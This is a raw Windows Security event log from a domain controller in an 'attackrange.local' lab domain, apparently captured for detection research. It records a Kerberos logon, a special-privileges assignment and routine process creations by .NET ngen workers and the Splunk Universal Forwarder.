	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1AC62B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62490

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254721
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AC62B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254720
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 49c -InterruptEvent 0 -NGENProcess 420 -Pipe 4c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254719
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 470 -Pipe 5a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254718
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 404 -Pipe 450 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254717
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe00
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 450 -InterruptEvent 0 -NGENProcess 494 -Pipe 4a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254716
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4a8 -InterruptEvent 0 -NGENProcess 450 -Pipe 724 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254725
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" RemoveTaskBootTrigger /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254727
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1d8 -InterruptEvent 0 -NGENProcess 250 -Pipe 1dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254726
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd10
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 1dc -Pipe 1e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254728
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 1d8 -Pipe 218 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254729
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 280 -Pipe 284 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254730
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 260 -Pipe 268 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254731
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254734
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1090
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254733
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 2bc -Pipe 28c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254732
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 0 -NGENProcess 2b8 -Pipe 260 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254736
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254735
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254738
Keywords=Audit Success
Message=A new process has been created.

